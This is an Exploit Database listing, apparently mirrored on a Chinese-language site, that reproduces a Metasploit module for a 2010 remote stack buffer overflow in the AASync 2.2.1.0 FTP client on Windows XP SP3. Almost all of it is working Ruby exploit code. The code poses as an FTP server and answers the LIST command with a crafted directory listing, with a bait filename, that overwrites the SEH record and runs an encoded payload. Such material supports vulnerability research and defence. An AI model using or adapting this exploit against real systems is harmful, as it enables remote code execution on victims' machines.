AASync 2.2.1.0 (Windows x86) – Remote Stack Buffer Overflow ‘LIST’ (Metasploit)

• Exploit Database
• 18 阅读

• 作者： Metasploit
  日期： 2010-11-14
• 类别：

  • remote
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/16738/

• ##
  # $Id: aasync_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::FtpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in AASync v2.2.1.0, triggered when
  				processing the response on a LIST command. During the overflow, a structured exception
  				handler record gets overwritten.
  			},
  			'Author' 	 =>
  				[
  					'corelanc0d3r', #found bug and wrote the exploit
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> "$Revision: 11039 $",
  			'References' =>
  				[
  					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'XP SP3 Universal', { 'Offset' => 6340,'Ret' => 0x61181674} ],# ppr [pthreadgc2.dll]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Oct 12 2010',
  			'DefaultTarget'=> 0))
  
  	end
  
  	#---------------------------------------------------------------------------------
  
  	def setup
  		super
  	end
  
  	def on_client_unknown_command(c,cmd,arg)
  		c.put("200 OK\r\n")
  	end
  
  	def on_client_command_list(c,arg)
  			conn = establish_data_connection(c)
  			if(not conn)
  				c.put("425 Can't build data connection\r\n")
  				return
  			end
  			print_status(" - Data connection set up")
  			code = 150
  			c.put("#{code} Here comes the directory listing.\r\n")
  			code = 226
  			c.put("#{code} Directory send ok.\r\n")
  			offset_to_nseh = target['Offset']
  			filename = "admin passwords.txt"
  			padding = " " * (offset_to_nseh-filename.length)
  			nseh = "\xeb\x0c\x41\x41"
  			seh = [target.ret].pack('V') #\x74\x16 = jump
  			nops = "A" * 30
  			junk2 = "A" * 5000
  			#dual offsets to seh
  			buffer = filename + padding + nseh + seh + seh + nops + payload.encoded + junk2
  			print_status(" - Sending directory list via data connection")
  			dirlist = "-rw-rw-r--1 1176 1176 1060 Aug 16 22:22 #{buffer}\r\n"
  			conn.put(dirlist)
  			conn.close
  			print_status(" - Payload sent")
  			return
  	end
  
  end